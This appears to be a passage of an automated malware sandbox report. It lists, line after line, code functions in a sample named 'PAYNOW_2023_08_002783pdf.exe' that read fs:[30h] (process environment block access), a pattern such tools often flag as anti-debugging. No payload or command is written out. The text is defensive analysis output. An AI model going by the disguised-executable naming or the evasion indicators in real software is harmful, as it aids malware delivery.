Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334782E0 mov eax, dword ptr fs:[00000030h]	6_2_334782E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334782E0 mov eax, dword ptr fs:[00000030h]	6_2_334782E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334782E0 mov eax, dword ptr fs:[00000030h]	6_2_334782E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334782E0 mov eax, dword ptr fs:[00000030h]	6_2_334782E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346D2EC mov eax, dword ptr fs:[00000030h]	6_2_3346D2EC
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346D2EC mov eax, dword ptr fs:[00000030h]	6_2_3346D2EC
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334802F9 mov eax, dword ptr fs:[00000030h]	6_2_334802F9
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334802F9 mov eax, dword ptr fs:[00000030h]	6_2_334802F9
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334802F9 mov eax, dword ptr fs:[00000030h]	6_2_334802F9
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334802F9 mov eax, dword ptr fs:[00000030h]	6_2_334802F9
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334802F9 mov eax, dword ptr fs:[00000030h]	6_2_334802F9
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334802F9 mov eax, dword ptr fs:[00000030h]	6_2_334802F9
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334802F9 mov eax, dword ptr fs:[00000030h]	6_2_334802F9
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334802F9 mov eax, dword ptr fs:[00000030h]	6_2_334802F9
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334EE289 mov eax, dword ptr fs:[00000030h]	6_2_334EE289
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33477290 mov eax, dword ptr fs:[00000030h]	6_2_33477290
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33477290 mov eax, dword ptr fs:[00000030h]	6_2_33477290
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33477290 mov eax, dword ptr fs:[00000030h]	6_2_33477290
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334942AF mov eax, dword ptr fs:[00000030h]	6_2_334942AF
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334942AF mov eax, dword ptr fs:[00000030h]	6_2_334942AF
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3354B2BC mov eax, dword ptr fs:[00000030h]	6_2_3354B2BC
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3354B2BC mov eax, dword ptr fs:[00000030h]	6_2_3354B2BC
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3354B2BC mov eax, dword ptr fs:[00000030h]	6_2_3354B2BC
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3354B2BC mov eax, dword ptr fs:[00000030h]	6_2_3354B2BC
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334692AF mov eax, dword ptr fs:[00000030h]	6_2_334692AF
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346C2B0 mov ecx, dword ptr fs:[00000030h]	6_2_3346C2B0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_335392AB mov eax, dword ptr fs:[00000030h]	6_2_335392AB
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3352F2AE mov eax, dword ptr fs:[00000030h]	6_2_3352F2AE
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346A147 mov eax, dword ptr fs:[00000030h]	6_2_3346A147
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346A147 mov eax, dword ptr fs:[00000030h]	6_2_3346A147
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346A147 mov eax, dword ptr fs:[00000030h]	6_2_3346A147
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33543157 mov eax, dword ptr fs:[00000030h]	6_2_33543157
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33543157 mov eax, dword ptr fs:[00000030h]	6_2_33543157
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33543157 mov eax, dword ptr fs:[00000030h]	6_2_33543157
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A415F mov eax, dword ptr fs:[00000030h]	6_2_334A415F
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3350314A mov eax, dword ptr fs:[00000030h]	6_2_3350314A
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3350314A mov eax, dword ptr fs:[00000030h]	6_2_3350314A
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3350314A mov eax, dword ptr fs:[00000030h]	6_2_3350314A
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3350314A mov eax, dword ptr fs:[00000030h]	6_2_3350314A
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33545149 mov eax, dword ptr fs:[00000030h]	6_2_33545149
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A716D mov eax, dword ptr fs:[00000030h]	6_2_334A716D
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334C717A mov eax, dword ptr fs:[00000030h]	6_2_334C717A
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334C717A mov eax, dword ptr fs:[00000030h]	6_2_334C717A
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33476179 mov eax, dword ptr fs:[00000030h]	6_2_33476179
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349510F mov eax, dword ptr fs:[00000030h]	6_2_3349510F
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349510F mov eax, dword ptr fs:[00000030h]	6_2_3349510F
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349510F mov eax, dword ptr fs:[00000030h]	6_2_3349510F
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349510F mov eax, dword ptr fs:[00000030h]	6_2_3349510F
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349510F mov eax, dword ptr fs:[00000030h]	6_2_3349510F
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349510F mov eax, dword ptr fs:[00000030h]	6_2_3349510F
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349510F mov eax, dword ptr fs:[00000030h]	6_2_3349510F
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349510F mov eax, dword ptr fs:[00000030h]	6_2_3349510F
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349510F mov eax, dword ptr fs:[00000030h]	6_2_3349510F
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349510F mov eax, dword ptr fs:[00000030h]	6_2_3349510F
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349510F mov eax, dword ptr fs:[00000030h]	6_2_3349510F
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349510F mov eax, dword ptr fs:[00000030h]	6_2_3349510F
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349510F mov eax, dword ptr fs:[00000030h]	6_2_3349510F
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3347510D mov eax, dword ptr fs:[00000030h]	6_2_3347510D
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A0118 mov eax, dword ptr fs:[00000030h]	6_2_334A0118
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F113 mov eax, dword ptr fs:[00000030h]	6_2_3346F113
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F113 mov eax, dword ptr fs:[00000030h]	6_2_3346F113
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F113 mov eax, dword ptr fs:[00000030h]	6_2_3346F113
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F113 mov eax, dword ptr fs:[00000030h]	6_2_3346F113
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F113 mov eax, dword ptr fs:[00000030h]	6_2_3346F113
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F113 mov eax, dword ptr fs:[00000030h]	6_2_3346F113
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F113 mov eax, dword ptr fs:[00000030h]	6_2_3346F113
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F113 mov eax, dword ptr fs:[00000030h]	6_2_3346F113
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F113 mov eax, dword ptr fs:[00000030h]	6_2_3346F113
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F113 mov eax, dword ptr fs:[00000030h]	6_2_3346F113
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F113 mov eax, dword ptr fs:[00000030h]	6_2_3346F113
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F113 mov eax, dword ptr fs:[00000030h]	6_2_3346F113
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F113 mov eax, dword ptr fs:[00000030h]	6_2_3346F113
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F113 mov eax, dword ptr fs:[00000030h]	6_2_3346F113
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F113 mov eax, dword ptr fs:[00000030h]	6_2_3346F113
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F113 mov eax, dword ptr fs:[00000030h]	6_2_3346F113
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F113 mov eax, dword ptr fs:[00000030h]	6_2_3346F113
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F113 mov eax, dword ptr fs:[00000030h]	6_2_3346F113
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F113 mov eax, dword ptr fs:[00000030h]	6_2_3346F113
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F113 mov eax, dword ptr fs:[00000030h]	6_2_3346F113
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F113 mov eax, dword ptr fs:[00000030h]	6_2_3346F113
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A7128 mov eax, dword ptr fs:[00000030h]	6_2_334A7128
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A7128 mov eax, dword ptr fs:[00000030h]	6_2_334A7128
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3352F13E mov eax, dword ptr fs:[00000030h]	6_2_3352F13E
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334FA130 mov eax, dword ptr fs:[00000030h]	6_2_334FA130
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334801C0 mov eax, dword ptr fs:[00000030h]	6_2_334801C0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334801C0 mov eax, dword ptr fs:[00000030h]	6_2_334801C0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334851C0 mov eax, dword ptr fs:[00000030h]	6_2_334851C0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334851C0 mov eax, dword ptr fs:[00000030h]	6_2_334851C0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334851C0 mov eax, dword ptr fs:[00000030h]	6_2_334851C0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334851C0 mov eax, dword ptr fs:[00000030h]	6_2_334851C0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334791E5 mov eax, dword ptr fs:[00000030h]	6_2_334791E5
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334791E5 mov eax, dword ptr fs:[00000030h]	6_2_334791E5
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3347A1E3 mov eax, dword ptr fs:[00000030h]	6_2_3347A1E3
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3347A1E3 mov eax, dword ptr fs:[00000030h]	6_2_3347A1E3
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3347A1E3 mov eax, dword ptr fs:[00000030h]	6_2_3347A1E3
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3347A1E3 mov eax, dword ptr fs:[00000030h]	6_2_3347A1E3
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3347A1E3 mov eax, dword ptr fs:[00000030h]	6_2_3347A1E3
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349B1E0 mov eax, dword ptr fs:[00000030h]	6_2_3349B1E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349B1E0 mov eax, dword ptr fs:[00000030h]	6_2_3349B1E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349B1E0 mov eax, dword ptr fs:[00000030h]	6_2_3349B1E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349B1E0 mov eax, dword ptr fs:[00000030h]	6_2_3349B1E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349B1E0 mov eax, dword ptr fs:[00000030h]	6_2_3349B1E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349B1E0 mov eax, dword ptr fs:[00000030h]	6_2_3349B1E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349B1E0 mov eax, dword ptr fs:[00000030h]	6_2_3349B1E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334681EB mov eax, dword ptr fs:[00000030h]	6_2_334681EB
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334691F0 mov eax, dword ptr fs:[00000030h]	6_2_334691F0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334691F0 mov eax, dword ptr fs:[00000030h]	6_2_334691F0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334801F1 mov eax, dword ptr fs:[00000030h]	6_2_334801F1
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334801F1 mov eax, dword ptr fs:[00000030h]	6_2_334801F1
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334801F1 mov eax, dword ptr fs:[00000030h]	6_2_334801F1
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349F1F0 mov eax, dword ptr fs:[00000030h]	6_2_3349F1F0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349F1F0 mov eax, dword ptr fs:[00000030h]	6_2_3349F1F0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_335381EE mov eax, dword ptr fs:[00000030h]	6_2_335381EE
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_335381EE mov eax, dword ptr fs:[00000030h]	6_2_335381EE
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33474180 mov eax, dword ptr fs:[00000030h]	6_2_33474180
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33474180 mov eax, dword ptr fs:[00000030h]	6_2_33474180
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33474180 mov eax, dword ptr fs:[00000030h]	6_2_33474180
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B1190 mov eax, dword ptr fs:[00000030h]	6_2_334B1190
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B1190 mov eax, dword ptr fs:[00000030h]	6_2_334B1190
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33499194 mov eax, dword ptr fs:[00000030h]	6_2_33499194
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_335451B6 mov eax, dword ptr fs:[00000030h]	6_2_335451B6
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334AE1A4 mov eax, dword ptr fs:[00000030h]	6_2_334AE1A4
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334AE1A4 mov eax, dword ptr fs:[00000030h]	6_2_334AE1A4
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A41BB mov ecx, dword ptr fs:[00000030h]	6_2_334A41BB
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A41BB mov eax, dword ptr fs:[00000030h]	6_2_334A41BB
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A41BB mov eax, dword ptr fs:[00000030h]	6_2_334A41BB
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A31BE mov eax, dword ptr fs:[00000030h]	6_2_334A31BE
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A31BE mov eax, dword ptr fs:[00000030h]	6_2_334A31BE
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A0044 mov eax, dword ptr fs:[00000030h]	6_2_334A0044
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3354505B mov eax, dword ptr fs:[00000030h]	6_2_3354505B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F6040 mov eax, dword ptr fs:[00000030h]	6_2_334F6040
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33471051 mov eax, dword ptr fs:[00000030h]	6_2_33471051
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33471051 mov eax, dword ptr fs:[00000030h]	6_2_33471051
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33519060 mov eax, dword ptr fs:[00000030h]	6_2_33519060
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33476074 mov eax, dword ptr fs:[00000030h]	6_2_33476074
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33476074 mov eax, dword ptr fs:[00000030h]	6_2_33476074
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33477072 mov eax, dword ptr fs:[00000030h]	6_2_33477072
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33495004 mov eax, dword ptr fs:[00000030h]	6_2_33495004
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33495004 mov ecx, dword ptr fs:[00000030h]	6_2_33495004
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33478009 mov eax, dword ptr fs:[00000030h]	6_2_33478009
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B2010 mov ecx, dword ptr fs:[00000030h]	6_2_334B2010
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346D02D mov eax, dword ptr fs:[00000030h]	6_2_3346D02D
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346B0D6 mov eax, dword ptr fs:[00000030h]	6_2_3346B0D6
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346B0D6 mov eax, dword ptr fs:[00000030h]	6_2_3346B0D6
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346B0D6 mov eax, dword ptr fs:[00000030h]	6_2_3346B0D6
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346B0D6 mov eax, dword ptr fs:[00000030h]	6_2_3346B0D6
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3348B0D0 mov eax, dword ptr fs:[00000030h]	6_2_3348B0D0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334FC0E0 mov ecx, dword ptr fs:[00000030h]	6_2_334FC0E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346C0F6 mov eax, dword ptr fs:[00000030h]	6_2_3346C0F6
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334AD0F0 mov eax, dword ptr fs:[00000030h]	6_2_334AD0F0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334AD0F0 mov ecx, dword ptr fs:[00000030h]	6_2_334AD0F0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334690F8 mov eax, dword ptr fs:[00000030h]	6_2_334690F8
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334690F8 mov eax, dword ptr fs:[00000030h]	6_2_334690F8
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334690F8 mov eax, dword ptr fs:[00000030h]	6_2_334690F8
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334690F8 mov eax, dword ptr fs:[00000030h]	6_2_334690F8
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33544080 mov eax, dword ptr fs:[00000030h]	6_2_33544080
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33544080 mov eax, dword ptr fs:[00000030h]	6_2_33544080
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33544080 mov eax, dword ptr fs:[00000030h]	6_2_33544080
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33544080 mov eax, dword ptr fs:[00000030h]	6_2_33544080
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33544080 mov eax, dword ptr fs:[00000030h]	6_2_33544080
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33544080 mov eax, dword ptr fs:[00000030h]	6_2_33544080
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33544080 mov eax, dword ptr fs:[00000030h]	6_2_33544080
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346A093 mov ecx, dword ptr fs:[00000030h]	6_2_3346A093
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346C090 mov eax, dword ptr fs:[00000030h]	6_2_3346C090
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F7090 mov eax, dword ptr fs:[00000030h]	6_2_334F7090
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_335450B7 mov eax, dword ptr fs:[00000030h]	6_2_335450B7
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B00A5 mov eax, dword ptr fs:[00000030h]	6_2_334B00A5
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F60A0 mov eax, dword ptr fs:[00000030h]	6_2_334F60A0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F60A0 mov eax, dword ptr fs:[00000030h]	6_2_334F60A0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F60A0 mov eax, dword ptr fs:[00000030h]	6_2_334F60A0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F60A0 mov eax, dword ptr fs:[00000030h]	6_2_334F60A0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F60A0 mov eax, dword ptr fs:[00000030h]	6_2_334F60A0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F60A0 mov eax, dword ptr fs:[00000030h]	6_2_334F60A0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F60A0 mov eax, dword ptr fs:[00000030h]	6_2_334F60A0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3351F0A5 mov eax, dword ptr fs:[00000030h]	6_2_3351F0A5
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3351F0A5 mov eax, dword ptr fs:[00000030h]	6_2_3351F0A5
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3351F0A5 mov eax, dword ptr fs:[00000030h]	6_2_3351F0A5
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3351F0A5 mov eax, dword ptr fs:[00000030h]	6_2_3351F0A5
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3351F0A5 mov eax, dword ptr fs:[00000030h]	6_2_3351F0A5
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3351F0A5 mov eax, dword ptr fs:[00000030h]	6_2_3351F0A5
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3351F0A5 mov eax, dword ptr fs:[00000030h]	6_2_3351F0A5
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3352B0AF mov eax, dword ptr fs:[00000030h]	6_2_3352B0AF
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A174A mov eax, dword ptr fs:[00000030h]	6_2_334A174A
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3351E750 mov eax, dword ptr fs:[00000030h]	6_2_3351E750
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F174B mov eax, dword ptr fs:[00000030h]	6_2_334F174B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F174B mov ecx, dword ptr fs:[00000030h]	6_2_334F174B
